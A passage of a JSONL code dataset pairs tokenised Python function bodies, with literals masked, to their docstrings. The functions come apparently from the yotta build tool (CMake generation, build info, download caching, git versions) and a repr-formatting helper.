component)<EOL>if sources:<EOL><INDENT>if f in ('<STR_LIT:test>',):<EOL><INDENT>auto_subdirs.append((f, sources))<EOL>test_subdirs.append(f)<EOL><DEDENT>elif start_on_top:<EOL><INDENT>from yotta.lib import validate<EOL>if not validate.isPotentialTestDir(f):<EOL><INDENT>top_sources.extend(sources)<EOL>if f == component.getName():<EOL><INDENT>header_subdirs.append((f, sources))<EOL><DEDENT><DEDENT><DEDENT>elif os.path.normpath(f) in [fsutils.fullySplitPath(x)[<NUM_LIT:0>] for x in lib_subdirs] oros.path.normpath(f) in [fsutils.fullySplitPath(x)[<NUM_LIT:0>] for x in bin_subdirs]:<EOL><INDENT>for full_subpath in list(lib_subdirs.keys()) + list(bin_subdirs.keys()):<EOL><INDENT>if fsutils.fullySplitPath(full_subpath)[<NUM_LIT:0>] == os.path.normpath(f):<EOL><INDENT>sources = self.containsSourceFiles(os.path.join(component.path, full_subpath), component)<EOL>auto_subdirs.append((full_subpath, sources))<EOL><DEDENT><DEDENT><DEDENT>elif f == component.getName():<EOL><INDENT>header_subdirs.append((f, sources))<EOL><DEDENT><DEDENT>elif toplevel and((f in ('<STR_LIT:test>',)) or(os.path.normpath(f) in lib_subdirs or start_on_top) or(os.path.normpath(f) in bin_subdirs or start_on_top) and notcomponent.ignores(f)):<EOL><INDENT>logger.warning(\"<STR_LIT>\", f, component)<EOL><DEDENT><DEDENT><DEDENT>if f in ('<STR_LIT>',):<EOL><INDENT>resource_subdirs.append(os.path.join(component.path, f))<EOL><DEDENT>check_directory_name_cases = list(lib_subdirs.keys()) + list(bin_subdirs.keys()) + ['<STR_LIT:test>', '<STR_LIT>']<EOL>if f.lower() in check_directory_name_cases + ['<STR_LIT:src>'] and notf in check_directory_name_cases and notcomponent.ignores(f):<EOL><INDENT>self.checkStandardSourceDir(f, component)<EOL><DEDENT><DEDENT>if top_sources:<EOL><INDENT>auto_subdirs.append((component.getName(), top_sources))<EOL><DEDENT>return {<EOL>\"<STR_LIT>\": manual_subdirs,<EOL>\"<STR_LIT>\": auto_subdirs,<EOL>\"<STR_LIT>\": header_subdirs,<EOL>\"<STR_LIT>\": {component.getName(): component.getName()} if (start_on_top and component.isApplication()) else bin_subdirs,<EOL>\"<STR_LIT>\": {component.getName(): component.getName()} if (start_on_top and not component.isApplication()) else lib_subdirs,<EOL>\"<STR_LIT:test>\": test_subdirs,<EOL>\"<STR_LIT>\": resource_subdirs<EOL>}<EOL>", "docstring": "return: {\n                manual: [list of subdirectories with manual CMakeLists],\n                  auto: [list of pairs: (subdirectories name to autogenerate, a list of source files in that dir)],\n                   bin: {dictionary of subdirectory name to binary name},\n                   lib: {dictionary of subdirectory name to binary name},\n                  test: [list of directories that build tests],\n              resource: [list of directories that contain resources]\n            }", "id": "f13557:c1:m6"}
{"signature": "def _getConfigData(self, all_dependencies, component, builddir, build_info_header_path):", "body": "<EOL>from yotta.lib import ordered_json<EOL>add_defs_header = '<STR_LIT>'<EOL>set_definitions = '<STR_LIT>'<EOL>definitions = []<EOL>definitions.append(('<STR_LIT>', sanitizePreprocessorSymbol(self.target.getName())))<EOL>definitions.append(('<STR_LIT>' % sanitizePreprocessorSymbol(self.target.getName()),None))<EOL>full_build_info_header_path = replaceBackslashes(os.path.abspath(build_info_header_path))<EOL>logger.debug('<STR_LIT>', full_build_info_header_path)<EOL>definitions.append(('<STR_LIT>', '<STR_LIT:\">'+full_build_info_header_path+'<STR_LIT:\">'))<EOL>for target in self.target.getSimilarTo_Deprecated():<EOL><INDENT>if '<STR_LIT:*>' not in target:<EOL><INDENT>definitions.append(('<STR_LIT>' % sanitizePreprocessorSymbol(target),None))<EOL><DEDENT><DEDENT>merged_config = self.target.getMergedConfig()<EOL>logger.debug('<STR_LIT>', merged_config)<EOL>definitions += self._definitionsForConfig(merged_config, ['<STR_LIT>', '<STR_LIT>'])<EOL>add_defs_header += '<STR_LIT>'<EOL>for k, v in definitions:<EOL><INDENT>if v is not None:<EOL><INDENT>add_defs_header += '<STR_LIT>' % (k, v)<EOL>set_definitions += '<STR_LIT>' % (k, v)<EOL><DEDENT>else:<EOL><INDENT>add_defs_header += '<STR_LIT>' % k<EOL>set_definitions += '<STR_LIT>' % k<EOL><DEDENT><DEDENT>add_defs_header += '<STR_LIT>'<EOL>for dep in list(all_dependencies.values()) + [component]:<EOL><INDENT>add_defs_header += \"<STR_LIT>\" % (sanitizePreprocessorSymbol(dep.getName()), str(dep.getVersion()))<EOL>add_defs_header += \"<STR_LIT>\" % (sanitizePreprocessorSymbol(dep.getName()), dep.getVersion().major())<EOL>add_defs_header += \"<STR_LIT>\" % (sanitizePreprocessorSymbol(dep.getName()), dep.getVersion().minor())<EOL>add_defs_header += \"<STR_LIT>\" % (sanitizePreprocessorSymbol(dep.getName()), dep.getVersion().patch())<EOL><DEDENT>defines = component.getDefines()<EOL>if defines:<EOL><INDENT>add_defs_header += \"<STR_LIT>\"<EOL>for name, value in defines.items():<EOL><INDENT>add_defs_header += \"<STR_LIT>\" % (name, value)<EOL><DEDENT>add_defs_header += '<STR_LIT:\\n>'<EOL><DEDENT>config_include_file = os.path.join(builddir, '<STR_LIT>')<EOL>config_json_file    = os.path.join(builddir, '<STR_LIT>')<EOL>set_definitions += '<STR_LIT>' % replaceBackslashes(os.path.abspath(config_json_file))<EOL>self._writeFile(<EOL>config_include_file,<EOL>'<STR_LIT>'+<EOL>'<STR_LIT>'+<EOL>add_defs_header+<EOL>'<STR_LIT>'<EOL>)<EOL>self._writeFile(<EOL>config_json_file,<EOL>ordered_json.dumps(merged_config)<EOL>)<EOL>return (config_include_file, set_definitions, config_json_file)<EOL>", "docstring": "returns (path_to_config_header, cmake_set_definitions)", "id": "f13557:c1:m8"}
{"signature": "def getBuildInfo(self, sourcedir, builddir):", "body": "cmake_defs = '<STR_LIT>'<EOL>preproc_defs = '<STR_LIT>'<EOL>import datetime<EOL>from yotta.lib import vcs<EOL>now = datetime.datetime.utcnow()<EOL>vcs_instance = vcs.getVCS(sourcedir)<EOL>if self.build_uuid is None:<EOL><INDENT>import uuid<EOL>self.build_uuid = uuid.uuid4()<EOL><DEDENT>definitions = [<EOL>('<STR_LIT>',   now.year,        '<STR_LIT>'),<EOL>('<STR_LIT>',  now.month,       '<STR_LIT>'),<EOL>('<STR_LIT>',    now.day,         '<STR_LIT>'),<EOL>('<STR_LIT>',   now.hour,        '<STR_LIT>'),<EOL>('<STR_LIT>', now.minute,      '<STR_LIT>'),<EOL>('<STR_LIT>', now.second,      '<STR_LIT>'),<EOL>('<STR_LIT>',   self.build_uuid, '<STR_LIT>'),<EOL>]<EOL>if vcs_instance is not None:<EOL><INDENT>commit_id = None<EOL>repotype = vcs_instance.__class__.__name__<EOL>try:<EOL><INDENT>commit_id = vcs_instance.getCommitId()<EOL><DEDENT>except vcs.VCSNotInstalled as e:<EOL><INDENT>logger.warning('<STR_LIT>', repotype)<EOL>commit_id = None<EOL><DEDENT>except vcs.VCSError as e:<EOL><INDENT>logger.debug('<STR_LIT:%s>', e)<EOL>logger.warning(<EOL>'<STR_LIT>',<EOL>str(e).split('<STR_LIT:\\n>')[<NUM_LIT:0>],<EOL>repotype<EOL>)<EOL><DEDENT>if commit_id is not None:<EOL><INDENT>clean_state = int(vcs_instance.isClean())<EOL>description = vcs_instance.getDescription()<EOL>definitions += [<EOL>('<STR_LIT>',    commit_id,   '<STR_LIT>'),<EOL>('<STR_LIT>', clean_state, '<STR_LIT>'),<EOL>('<STR_LIT>', description, '<STR_LIT>')<EOL>]<EOL><DEDENT><DEDENT>for d in definitions:<EOL><INDENT>preproc_defs += '<STR_LIT>' % d<EOL>cmake_defs   += '<STR_LIT>' % d<EOL><DEDENT>buildinfo_include_file = os.path.join(builddir, '<STR_LIT>')<EOL>self._writeFile(<EOL>buildinfo_include_file,<EOL>'<STR_LIT>'+<EOL>'<STR_LIT>'+<EOL>preproc_defs+<EOL>'<STR_LIT>'<EOL>)<EOL>return (buildinfo_include_file, cmake_defs)<EOL>", "docstring": "Write the build info header file, and return (path_to_written_header, set_cmake_definitions)", "id": "f13557:c1:m9"}
{"signature": "def generate(<EOL>self, builddir, modbuilddir, component, active_dependencies, immediate_dependencies, all_dependencies, application, toplevel<EOL>):", "body": "include_root_dirs = '<STR_LIT>'<EOL>if application is not None and component is not application:<EOL><INDENT>include_root_dirs += '<STR_LIT>' % replaceBackslashes(application.path)<EOL><DEDENT>include_sys_dirs = '<STR_LIT>'<EOL>include_other_dirs = '<STR_LIT>'<EOL>for name, c in itertools.chain(((component.getName(), component),), all_dependencies.items()):<EOL><INDENT>if c is not component and c.isTestDependency():<EOL><INDENT>continue<EOL><DEDENT>include_root_dirs += '<STR_LIT>' % replaceBackslashes(c.path)<EOL>dep_sys_include_dirs = c.getExtraSysIncludes()<EOL>for d in dep_sys_include_dirs:<EOL><INDENT>include_sys_dirs += '<STR_LIT>' % replaceBackslashes(os.path.join(c.path, d))<EOL><DEDENT>dep_extra_include_dirs = c.getExtraIncludes()<EOL>for d in dep_extra_include_dirs:<EOL><INDENT>include_other_dirs += '<STR_LIT>' % replaceBackslashes(os.path.join(c.path, d))<EOL><DEDENT><DEDENT>add_depend_subdirs = '<STR_LIT>'<EOL>for name, c in active_dependencies.items():<EOL><INDENT>depend_subdir = replaceBackslashes(os.path.join(modbuilddir, name))<EOL>relpath = replaceBackslashes(os.path.relpath(depend_subdir, self.buildroot))<EOL>add_depend_subdirs +='<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (depend_subdir, relpath)<EOL><DEDENT>delegate_to_existing = None<EOL>delegate_build_dir = None<EOL>module_is_empty = False<EOL>if os.path.isfile(os.path.join(component.path, '<STR_LIT>')) and not component.ignores('<STR_LIT>'):<EOL><INDENT>delegate_to_existing = component.path<EOL>add_own_subdirs = []<EOL>logger.debug(\"<STR_LIT>\", builddir)<EOL>delegate_build_dir = os.path.join(builddir, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self._validateListedSubdirsExist(component)<EOL>subdirs = self._listSubDirectories(component, toplevel)<EOL>manual_subdirs      = subdirs['<STR_LIT>']<EOL>autogen_subdirs     = subdirs['<STR_LIT>']<EOL>binary_subdirs      = subdirs['<STR_LIT>']<EOL>lib_subdirs         = subdirs['<STR_LIT>']<EOL>test_subdirs        = subdirs['<STR_LIT:test>']<EOL>resource_subdirs    = subdirs['<STR_LIT>']<EOL>header_subdirs      = subdirs['<STR_LIT>']<EOL>logger.debug(\"<STR_LIT>\", component, lib_subdirs, binary_subdirs)<EOL>add_own_subdirs = []<EOL>for f in manual_subdirs:<EOL><INDENT>if os.path.isfile(os.path.join(component.path, f, '<STR_LIT>')):<EOL><INDENT>if f in test_subdirs and component.isTestDependency():<EOL><INDENT>continue<EOL><DEDENT>add_own_subdirs.append(<EOL>(os.path.join(component.path, f), f)<EOL>)<EOL><DEDENT><DEDENT>all_subdirs = manual_subdirs + [x[<NUM_LIT:0>] for x in autogen_subdirs]<EOL>if component.isTestDependency():<EOL><INDENT>if len(autogen_subdirs) + len(add_own_subdirs) == <NUM_LIT:0>:<EOL><INDENT>module_is_empty = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(autogen_subdirs) + len(add_own_subdirs) <= len(test_subdirs):<EOL><INDENT>module_is_empty = True<EOL><DEDENT><DEDENT>for f, source_files in autogen_subdirs:<EOL><INDENT>if f in test_subdirs:<EOL><INDENT>if component.isTestDependency():<EOL><INDENT>continue<EOL><DEDENT>self.generateTestDirList(<EOL>builddir, f, source_files, component, immediate_dependencies, toplevel=toplevel, module_is_empty=module_is_empty<EOL>)<EOL><DEDENT>else:<EOL><INDENT>if f in binary_subdirs:<EOL><INDENT>is_executable = True<EOL>object_name = binary_subdirs[f]<EOL><DEDENT>else:<EOL><INDENT>assert(f in lib_subdirs)<EOL>object_name = lib_subdirs[f]<EOL><DEDENT>for header_dir, header_files in header_subdirs:<EOL><INDENT>source_files.extend(header_files)<EOL><DEDENT>self.generateSubDirList(<EOL>builddir = builddir,<EOL>dirname = f,<EOL>source_files = source_files,<EOL>component = component,<EOL>all_subdirs = all_subdirs,<EOL>immediate_dependencies = immediate_dependencies,<EOL>object_name = object_name,<EOL>resource_subdirs = resource_subdirs,<EOL>is_executable = (f in binary_subdirs)<EOL>)<EOL><DEDENT>add_own_subdirs.append(<EOL>(os.path.join(builddir, f), f)<EOL>)<EOL><DEDENT>if component.isTestDependency():<EOL><INDENT>test_subdirs = []<EOL><DEDENT>if module_is_empty:<EOL><INDENT>if len(binary_subdirs):<EOL><INDENT>logger.warning('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>add_own_subdirs.append(self.createDummyLib(<EOL>component, builddir, [x[<NUM_LIT:0>] for x in immediate_dependencies.items() if not x[<NUM_LIT:1>].isTestDependency()]<EOL>))<EOL><DEDENT><DEDENT><DEDENT>toolchain_file_path = os.path.join(builddir, '<STR_LIT>')<EOL>if toplevel:<EOL><INDENT>template = jinja_environment.get_template('<STR_LIT>')<EOL>file_contents = template.render({  <EOL>\"<STR_LIT>\": self.target.getToolchainFiles()<EOL>})<EOL>self._writeFile(toolchain_file_path, file_contents)<EOL><DEDENT>template = jinja_environment.get_template('<STR_LIT>')<EOL>relpath = os.path.relpath(builddir, self.buildroot)<EOL>file_contents = template.render({ <EOL>\"<STR_LIT>\": toplevel,<EOL>\"<STR_LIT>\": self.target.getName(),<EOL>\"<STR_LIT>\": self.set_toplevel_definitions,<EOL>\"<STR_LIT>\": toolchain_file_path,<EOL>\"<STR_LIT>\": component,<EOL>\"<STR_LIT>\": relpath,<EOL>\"<STR_LIT>\": include_root_dirs,<EOL>\"<STR_LIT>\": include_sys_dirs,<EOL>\"<STR_LIT>\": include_other_dirs,<EOL>\"<STR_LIT>\": add_depend_subdirs,<EOL>\"<STR_LIT>\": add_own_subdirs,<EOL>\"<STR_LIT>\": self.config_include_file,<EOL>\"<STR_LIT>\": delegate_to_existing,<EOL>\"<STR_LIT>\": delegate_build_dir,<EOL>\"<STR_LIT>\": active_dependencies,<EOL>\"<STR_LIT>\": module_is_empty,<EOL>\"<STR_LIT>\": self.target.getAdditionalIncludes()<EOL>})<EOL>self._writeFile(os.path.join(builddir, '<STR_LIT>'), file_contents)<EOL>", "docstring": "active_dependencies is the dictionary of components that need to be\n            built for this component, but will not already have been built for\n            another component.", "id": "f13557:c1:m10"}
{"signature": "def long_to_bytes(n, blocksize=<NUM_LIT:0>):", "body": "<EOL>s = b'<STR_LIT>'<EOL>n = int(n)<EOL>pack = struct.pack<EOL>while n > <NUM_LIT:0>:<EOL><INDENT>s = pack('<STR_LIT>', n & <NUM_LIT>) + s<EOL>n = n >> <NUM_LIT:32><EOL><DEDENT>for i in range(len(s)):<EOL><INDENT>if s[i] != '<STR_LIT>':<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>s = '<STR_LIT>'<EOL>i = <NUM_LIT:0><EOL><DEDENT>s = s[i:]<EOL>if blocksize > <NUM_LIT:0> and len(s) % blocksize:<EOL><INDENT>s = (blocksize - len(s) % blocksize) * '<STR_LIT>' + s<EOL><DEDENT>return s<EOL>", "docstring": "long_to_bytes(n:long, blocksize:int) : string\n    Convert a long integer to a byte string.\n\n    If optional blocksize is given and greater than zero, pad the front of the\n    byte string with binary zeros so that the length is a multiple of\n    blocksize.", "id": "f13558:m0"}
{"signature": "def pruneCache():", "body": "cache_dir = folders.cacheDirectory()<EOL>def fullpath(f):<EOL><INDENT>return os.path.join(cache_dir, f)<EOL><DEDENT>def getMTimeSafe(f):<EOL><INDENT>try:<EOL><INDENT>return os.stat(f).st_mtime<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>import time<EOL>return time.clock()<EOL><DEDENT><DEDENT>fsutils.mkDirP(cache_dir)<EOL>max_cached_modules = getMaxCachedModules()<EOL>for f in sorted(<EOL>[f for f in os.listdir(cache_dir) if<EOL>os.path.isfile(fullpath(f)) and not f.endswith('<STR_LIT>') and not f.endswith('<STR_LIT>')<EOL>],<EOL>key = lambda f: getMTimeSafe(fullpath(f)),<EOL>reverse = True<EOL>)[max_cached_modules:]:<EOL><INDENT>cache_logger.debug('<STR_LIT>', f)<EOL>removeFromCache(f)<EOL><DEDENT>cache_logger.debug('<STR_LIT>', max_cached_modules)<EOL>", "docstring": "Prune the cache", "id": "f13560:m2"}
{"signature": "def sometimesPruneCache(p):", "body": "def decorator(fn):<EOL><INDENT>@functools.wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>r = fn(*args, **kwargs)<EOL>if random.random() < p:<EOL><INDENT>pruneCache()<EOL><DEDENT>return r<EOL><DEDENT>return wrapped<EOL><DEDENT>return decorator<EOL>", "docstring": "return decorator to prune cache after calling fn with a probability of p", "id": "f13560:m3"}
{"signature": "def unpackFromCache(cache_key, to_directory):", "body": "if cache_key is None:<EOL><INDENT>raise NotInCache('<STR_LIT>')<EOL><DEDENT>cache_key = _encodeCacheKey(cache_key)<EOL>cache_dir = folders.cacheDirectory()<EOL>fsutils.mkDirP(cache_dir)<EOL>path = os.path.join(cache_dir, cache_key)<EOL>logger.debug('<STR_LIT>', path, to_directory)<EOL>try:<EOL><INDENT>unpackFrom(path, to_directory)<EOL>try:<EOL><INDENT>shutil.copy(path + '<STR_LIT>', os.path.join(to_directory, '<STR_LIT>'))<EOL><DEDENT>except IOError as e:<EOL><INDENT>if e.errno == errno.ENOENT:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>cache_logger.debug('<STR_LIT>', cache_key, to_directory)<EOL>return<EOL><DEDENT>except IOError as e:<EOL><INDENT>if e.errno == errno.ENOENT:<EOL><INDENT>cache_logger.debug('<STR_LIT>', cache_key)<EOL>raise NotInCache('<STR_LIT>')<EOL><DEDENT><DEDENT>except OSError as e:<EOL><INDENT>if e.errno == errno.ENOTEMPTY:<EOL><INDENT>logger.error('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "If the specified cache key exists, unpack the tarball into the\n        specified directory, otherwise raise NotInCache (a KeyError subclass).", "id": "f13560:m6"}
{"signature": "def _downloadToCache(stream, hashinfo={}, origin_info=dict()):", "body": "hash_name  = None<EOL>hash_value = None<EOL>m = None<EOL>if len(hashinfo):<EOL><INDENT>for h in ('<STR_LIT>',):<EOL><INDENT>if h in hashinfo:<EOL><INDENT>hash_name  = h<EOL>hash_value = hashinfo[h]<EOL>m = getattr(hashlib, h)()<EOL>break<EOL><DEDENT><DEDENT>if not hash_name:<EOL><INDENT>logger.warning('<STR_LIT>', hashinfo)<EOL><DEDENT><DEDENT>cache_dir = folders.cacheDirectory()<EOL>fsutils.mkDirP(cache_dir)<EOL>file_size = <NUM_LIT:0><EOL>(download_file, download_fname) = tempfile.mkstemp(dir=cache_dir, suffix='<STR_LIT>')<EOL>with os.fdopen(download_file, '<STR_LIT:wb>') as f:<EOL><INDENT>f.seek(<NUM_LIT:0>)<EOL>for chunk in stream.iter_content(<NUM_LIT>):<EOL><INDENT>f.write(chunk)<EOL>if hash_name:<EOL><INDENT>m.update(chunk)<EOL><DEDENT><DEDENT>if hash_name:<EOL><INDENT>calculated_hash = m.hexdigest()<EOL>logger.debug(<EOL>'<STR_LIT>' % (<EOL>hash_name, calculated_hash, hash_value<EOL>)<EOL>)<EOL>if hash_value and (hash_value != calculated_hash):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>file_size = f.tell()<EOL>logger.debug('<STR_LIT>', file_size, download_fname)<EOL>f.truncate()<EOL><DEDENT>extended_origin_info = {<EOL>'<STR_LIT>': hashinfo,<EOL>'<STR_LIT:size>': file_size<EOL>}<EOL>extended_origin_info.update(origin_info)<EOL>ordered_json.dump(download_fname + '<STR_LIT>', extended_origin_info)<EOL>return os.path.basename(download_fname)<EOL>", "docstring": "Download the specified stream to a temporary cache directory, and\n        returns a cache key that can be used to access/remove the file.\n        You should use either removeFromCache(cache_key) or _moveCachedFile to\n        move the downloaded file to a known key after downloading.", "id": "f13560:m7"}
{"signature": "def _moveCachedFile(from_key, to_key):", "body": "cache_dir = folders.cacheDirectory()<EOL>from_path = os.path.join(cache_dir, from_key)<EOL>to_path   = os.path.join(cache_dir, to_key)<EOL>try:<EOL><INDENT>os.rename(from_path, to_path)<EOL>os.rename(from_path+'<STR_LIT>', to_path+'<STR_LIT>')<EOL><DEDENT>except Exception as e:<EOL><INDENT>if (isinstance(e, OSError) and e.errno == errno.ENOENT) or(isinstance(e, getattr(__builtins__, \"<STR_LIT>\", type(None))) and e.errno == <NUM_LIT>):<EOL><INDENT>fsutils.rmF(from_path)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Move a file atomically within the cache: used to make cached files\n        available at known keys, so they can be used by other processes.", "id": "f13560:m8"}
{"signature": "@sometimesPruneCache(<NUM_LIT>)<EOL>def unpackTarballStream(stream, into_directory, hash={}, cache_key=None, origin_info=dict()):", "body": "cache_key = _encodeCacheKey(cache_key)<EOL>if getMaxCachedModules() == <NUM_LIT:0>:<EOL><INDENT>cache_key = None<EOL><DEDENT>new_cache_key = _downloadToCache(stream, hash, origin_info)<EOL>unpackFromCache(new_cache_key, into_directory)<EOL>if cache_key is None:<EOL><INDENT>removeFromCache(new_cache_key)<EOL><DEDENT>else:<EOL><INDENT>_moveCachedFile(new_cache_key, cache_key)<EOL><DEDENT>", "docstring": "Unpack a responses stream that contains a tarball into a directory. If\n        a hash is provided, then it will be used as a cache key (for future\n        requests you can try to retrieve the key value from the cache first,\n        before making the request)", "id": "f13560:m9"}
{"signature": "def availableVersions(self):", "body": "r = []<EOL>for t in self.vcs.tags():<EOL><INDENT>logger.debug(\"<STR_LIT>\", t)<EOL>if not len(t.strip()):<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>r.append(GitCloneVersion(t, t, self))<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.debug('<STR_LIT>', t)<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "return a list of GitCloneVersion objects for tags which are valid\n            semantic version idenfitifiers.", "id": "f13561:c1:m2"}
{"signature": "def availableTags(self):", "body": "return [GitCloneVersion('<STR_LIT>', t, self) for t in self.vcs.tags()]<EOL>", "docstring": "return a list of GitCloneVersion objects for all tags", "id": "f13561:c1:m3"}
{"signature": "def availableBranches(self):", "body": "return [GitCloneVersion('<STR_LIT>', b, self) for b in self.vcs.branches()]<EOL>", "docstring": "return a list of GitCloneVersion objects for the tip of each branch", "id": "f13561:c1:m4"}
{"signature": "def commitVersion(self, spec):", "body": "import re<EOL>commit_match = re.match('<STR_LIT>', spec, re.I)<EOL>if commit_match:<EOL><INDENT>return GitCloneVersion('<STR_LIT>', spec, self)<EOL><DEDENT>return None<EOL>", "docstring": "return a GithubComponentVersion object for a specific commit if valid", "id": "f13561:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def createFromSource(cls, vs, name=None):<DEDENT>", "body": "return GitComponent(vs.location, vs.spec, vs.semantic_spec)<EOL>", "docstring": "returns a git component for any git:// url, or None if this is not\n            a git component.\n\n            Normally version will be empty, unless the original url was of the\n            form 'git://...#version', which can be used to grab a particular\n            tag or branch, or ...#>=1.2.3, which can be used to specify\n            semantic version specifications on tags.", "id": "f13561:c2:m1"}
{"signature": "def checkDependenciesForShrinkwrap(dependency_list):", "body": "<EOL>from yotta.lib import sourceparse<EOL>errors = []<EOL>available_versions = {}<EOL>for mod in dependency_list.get('<STR_LIT>', []):<EOL><INDENT>available_versions[mod['<STR_LIT:name>']] = mod['<STR_LIT:version>']<EOL><DEDENT>for mod in dependency_list.get('<STR_LIT>', []):<EOL><INDENT>for spec_info in mod.get('<STR_LIT>', []):<EOL><INDENT>name = spec_info['<STR_LIT:name>']<EOL>spec = spec_info['<STR_LIT:version>']<EOL>if spec_info.get('<STR_LIT>', False):<EOL><INDENT>continue<EOL><DEDENT>if not name in available_versions:<EOL><INDENT>errors.append('<STR_LIT>' % (<EOL>name, mod['<STR_LIT:name>']<EOL>))<EOL><DEDENT>else:<EOL><INDENT>available_version = available_versions[name]<EOL>parsed_spec = sourceparse.parseSourceURL(spec)<EOL>if not parsed_spec.semanticSpecMatches(available_version):<EOL><INDENT>errors.append('<STR_LIT>' % (<EOL>name, available_version, parsed_spec.semanticSpec(), mod['<STR_LIT:name>']<EOL>))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return errors<EOL>", "docstring": "return a list of errors encountered (e.g. dependency missing or\n        specification not met", "id": "f13566:m2"}
{"signature": "def force_unicode(value):", "body": "if isinstance(value, six.binary_type):<EOL><INDENT>return value.decode('<STR_LIT:utf-8>')<EOL><DEDENT>return value<EOL>", "docstring": "If input string is binary, then decode from utf-8.", "id": "f13574:m0"}
{"signature": "def cut_head(lst):", "body": "assert len(lst) > <NUM_LIT:0>, '<STR_LIT>'<EOL>return lst[<NUM_LIT:0>], lst[<NUM_LIT:1>:]<EOL>", "docstring": "Returns first element and an iterator over rest element.\n\n    TODO: will be useful to make it work not only with lists\n          but also with any iterable.", "id": "f13574:m3"}
{"signature": "def serialize_text(out, text):", "body": "padding = len(out)<EOL>add_padding = padding_adder(padding)<EOL>text = add_padding(text, ignore_first_line=True)<EOL>return out + text<EOL>", "docstring": "This method is used to append content of the `text`\n    argument to the `out` argument.\n\n    Depending on how many lines in the text, a\n    padding can be added to all lines except the first\n    one.\n\n    Concatenation result is appended to the `out` argument.", "id": "f13574:m4"}
{"signature": "def serialize_list(out, lst, delimiter=u'<STR_LIT>', max_length=<NUM_LIT:20>):", "body": "have_multiline_items = any(map(is_multiline, lst))<EOL>result_will_be_too_long = sum(map(len, lst)) > max_length<EOL>if have_multiline_items or result_will_be_too_long:<EOL><INDENT>padding = len(out)<EOL>add_padding = padding_adder(padding)<EOL>head, rest = cut_head(lst)<EOL>rest = map(add_padding, rest)<EOL>head = add_padding(head, ignore_first_line=True)<EOL>lst = chain((head,), rest)<EOL>delimiter += u'<STR_LIT:\\n>'<EOL><DEDENT>else:<EOL><INDENT>delimiter += u'<STR_LIT:U+0020>'<EOL><DEDENT>return out + delimiter.join(lst)<EOL>", "docstring": "This method is used to serialize list of text\n    pieces like [\"some=u'Another'\", \"blah=124\"]\n\n    Depending on how many lines are in these items,\n    they are concatenated in row or as a column.\n\n    Concatenation result is appended to the `out` argument.", "id": "f13574:m5"}
{"signature": "def format_value(value):", "body": "value_id = id(value)<EOL>if value_id in recursion_breaker.processed:<EOL><INDENT>return u'<STR_LIT>'<EOL><DEDENT>recursion_breaker.processed.add(value_id)<EOL>try:<EOL><INDENT>if isinstance(value, six.binary_type):<EOL><INDENT>return u\"<STR_LIT>\".format(value.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>elif isinstance(value, six.text_type):<EOL><INDENT>return u\"<STR_LIT>\".format(value)<EOL><DEDENT>elif isinstance(value, (list, tuple)):<EOL><INDENT>values = list(map(format_value, value))<EOL>result = serialize_list(u'<STR_LIT:[>', values, delimiter=u'<STR_LIT:U+002C>') + u'<STR_LIT:]>'<EOL>return force_unicode(result)<EOL><DEDENT>elif isinstance(value, dict):<EOL><INDENT>items = six.iteritems(value)<EOL>items = (tuple(map(format_value, item))<EOL>for item in items)<EOL>items = list(items)<EOL>items.sort()<EOL>items = [<EOL>serialize_text(<EOL>u'<STR_LIT>'.format(key),<EOL>item_value)<EOL>for key, item_value in items]<EOL>result = serialize_list(u'<STR_LIT:{>', items, delimiter=u'<STR_LIT:U+002C>') + u'<STR_LIT:}>'<EOL>return force_unicode(result)<EOL><DEDENT>return force_unicode(repr(value))<EOL><DEDENT>finally:<EOL><INDENT>recursion_breaker.processed.remove(value_id)<EOL><DEDENT>", "docstring": "This function should return unicode representation of the value", "id": "f13574:m6"}
{"signature": "def make_repr(*args, **kwargs):", "body": "def method(self):<EOL><INDENT>cls_name = self.__class__.__name__<EOL>if args:<EOL><INDENT>field_names = args<EOL><DEDENT>else:<EOL><INDENT>def undercored(name): return name.startswith('<STR_LIT:_>')<EOL>def is_method(name): return callable(getattr(self, name))<EOL>def good_name(name):<EOL><INDENT>return not undercored(name) and not is_method(name)<EOL><DEDENT>field_names = filter(good_name, dir(self))<EOL>field_names = sorted(field_names)<EOL><DEDENT>field_getters = zip(field_names,<EOL>map(attrgetter, field_names))<EOL>field_getters = chain(<EOL>field_getters,<EOL>kwargs.items())<EOL>fields = ((name, format_value(getter(self)))<EOL>for name, getter in field_getters)<EOL>fields = ((u'<STR_LIT>'.format(name), value)<EOL>for name, value in fields)<EOL>fields = list(starmap(serialize_text, fields))<EOL>beginning = u'<STR_LIT>'.format(<EOL>cls_name=cls_name,<EOL>)<EOL>result = serialize_list(<EOL>beginning,<EOL>fields)<EOL>result += u'<STR_LIT:>>'<EOL>if ON_PYTHON2:<EOL><INDENT>result = result.encode('<STR_LIT:utf-8>')<EOL><DEDENT>return result<EOL><DEDENT>return method<EOL>", "docstring": "Returns __repr__ method which returns ASCII\n    representaion of the object with given fields.\n\n    Without arguments, ``make_repr`` generates a method\n    which outputs all object's non-protected (non-undercored)\n    arguments which are not callables.\n\n    Accepts ``*args``, which should be a names of object's\n    attributes to be included in the output::\n\n      __repr__ = make_repr('foo', 'bar')\n\n    If you want to generate attribute's content on the fly,\n    then you should use keyword arguments and pass a callable\n    of one argument::\n\n      __repr__ = make_repr(foo=lambda obj: obj.blah + 100500)", "id": "f13574:m7"}
